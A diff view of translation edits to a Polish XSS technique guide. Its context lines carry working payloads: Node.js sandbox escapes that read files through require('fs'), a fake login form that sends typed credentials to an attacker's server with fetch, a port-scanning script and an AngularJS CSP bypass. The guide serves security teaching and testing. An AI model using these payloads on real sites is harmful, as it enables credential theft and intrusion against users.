			||||||
```c
 | 
					```c
 | 
				
			||||||
const char* const kSupportedJavascriptTypes[] = {
 | 
					const char* const kSupportedJavascriptTypes[] = {
 | 
				
			||||||
"application/ecmascript",
 | 
					"application/ecmascript",
 | 
				
			||||||
@ -868,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
 | 
				
			|||||||
```html
 | 
					```html
 | 
				
			||||||
<script type="???"></script>
 | 
					<script type="???"></script>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
- **moduł** (domyślny, nic do wyjaśnienia)
 | 
					- **module** (domyślny, nic do wyjaśnienia)
 | 
				
			||||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala na spakowanie wielu danych (HTML, CSS, JS…) razem do pliku **`.wbn`**.
 | 
					- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala na spakowanie wielu danych (HTML, CSS, JS…) razem do pliku **`.wbn`**.
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
<script type="webbundle">
 | 
					<script type="webbundle">
 | 
				
			||||||
@ -896,7 +897,7 @@ import moment from "moment"
 | 
				
			|||||||
import { partition } from "lodash"
 | 
					import { partition } from "lodash"
 | 
				
			||||||
</script>
 | 
					</script>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
To zachowanie zostało użyte w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS.
 | 
					To zachowanie zostało wykorzystane w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa to w ten sposób:
 | 
					- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa to w ten sposób:
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
@ -916,7 +917,7 @@ To zachowanie zostało użyte w [**tym opisie**](https://github.com/zwade/yaca/t
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
### Typy zawartości sieciowej do XSS
 | 
					### Typy zawartości sieciowej do XSS
 | 
				
			||||||
 | 
					
 | 
				
			||||||
(Źródło: [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
 | 
					(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- text/html
 | 
					- text/html
 | 
				
			||||||
- application/xhtml+xml
 | 
					- application/xhtml+xml
 | 
				
			||||||
@ -984,7 +985,7 @@ constructor(source)()
 | 
				
			|||||||
// For more uses of with go to challenge misc/CaaSio PSE in
 | 
					// For more uses of with go to challenge misc/CaaSio PSE in
 | 
				
			||||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 | 
					// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym artykule**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
 | 
					Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- Używając import()
 | 
					- Używając import()
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
@ -1008,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 | 
				
			|||||||
)
 | 
					)
 | 
				
			||||||
})()
 | 
					})()
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
W podobny sposób jak w poprzednim przykładzie, możliwe jest **użycie obsługi błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**:
 | 
					W podobny sposób jak w poprzednim przykładzie, możliwe jest **użycie handlerów błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**:
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
try {
 | 
					try {
 | 
				
			||||||
null.f()
 | 
					null.f()
 | 
				
			||||||
@ -1238,7 +1239,7 @@ steal-info-js.md
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Iframe Trap
 | 
					### Iframe Trap
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Spraw, aby użytkownik poruszał się po stronie bez opuszczania iframe i kradnij jego działania (w tym informacje wysyłane w formularzach):
 | 
					Zmuszenie użytkownika do nawigacji po stronie bez opuszczania iframe i kradzież jego działań (w tym informacji wysyłanych w formularzach):
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
../iframe-traps.md
 | 
					../iframe-traps.md
 | 
				
			||||||
@ -1360,7 +1361,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
_Krótkie czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują na brak odpowiedzi._
 | 
					_Krótkie czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują na brak odpowiedzi._
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Sprawdź listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) oraz w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 | 
					Sprawdź listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Okno do wprowadzenia danych uwierzytelniających
 | 
					### Okno do wprowadzenia danych uwierzytelniających
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
@ -1377,7 +1378,7 @@ mode: 'no-cors',
 | 
				
			|||||||
body:username.value+':'+this.value
 | 
					body:username.value+':'+this.value
 | 
				
			||||||
});">
 | 
					});">
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Gdy jakiekolwiek dane zostaną wprowadzone w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wyekstrahowane.
 | 
					Kiedy jakiekolwiek dane są wprowadzane w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wyekstrahowane.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Keylogger
 | 
					### Keylogger
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -1471,7 +1472,7 @@ Możesz również użyć: [https://xsshunter.com/](https://xsshunter.com)
 | 
				
			|||||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 | 
					<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 | 
				
			||||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 | 
					<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### Regex - Uzyskiwanie Ukrytej Zawartości
 | 
					### Regex - Dostęp do ukrytej zawartości
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, wejście REGEX nadal można znaleźć po usunięciu wartości wejścia regex:
 | 
					Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, wejście REGEX nadal można znaleźć po usunięciu wartości wejścia regex:
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
@ -1518,7 +1519,7 @@ Więcej informacji na temat tej techniki tutaj: [**XSLT**](../xslt-server-side-i
 | 
				
			|||||||
### XSS w dynamicznie tworzonym PDF
 | 
					### XSS w dynamicznie tworzonym PDF
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Jeśli strona internetowa tworzy PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
 | 
					Jeśli strona internetowa tworzy PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
 | 
				
			||||||
Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **znaczników HTML**, zacznie je **interpretować**, a ty możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**.
 | 
					Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **znaczników HTML**, będzie je **interpretować**, a ty możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
server-side-xss-dynamic-pdf.md
 | 
					server-side-xss-dynamic-pdf.md
 | 
				
			||||||
@ -1532,11 +1533,11 @@ pdf-injection.md
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### XSS w Amp4Email
 | 
					### XSS w Amp4Email
 | 
				
			||||||
 | 
					
 | 
				
			||||||
AMP, mający na celu przyspieszenie wydajności stron internetowych na urządzeniach mobilnych, zawiera znaczniki HTML uzupełnione przez JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych za pośrednictwem [komponentów AMP](https://amp.dev/documentation/components/?format=websites).
 | 
					AMP, mający na celu przyspieszenie wydajności stron internetowych na urządzeniach mobilnych, zawiera znaczniki HTML uzupełnione przez JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych za pośrednictwem [AMP components](https://amp.dev/documentation/components/?format=websites).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ich e-mailach.
 | 
					Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ich e-mailach.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Przykład [**opisu XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 | 
					Przykład [**writeup XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### XSS przesyłanie plików (svg)
 | 
					### XSS przesyłanie plików (svg)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user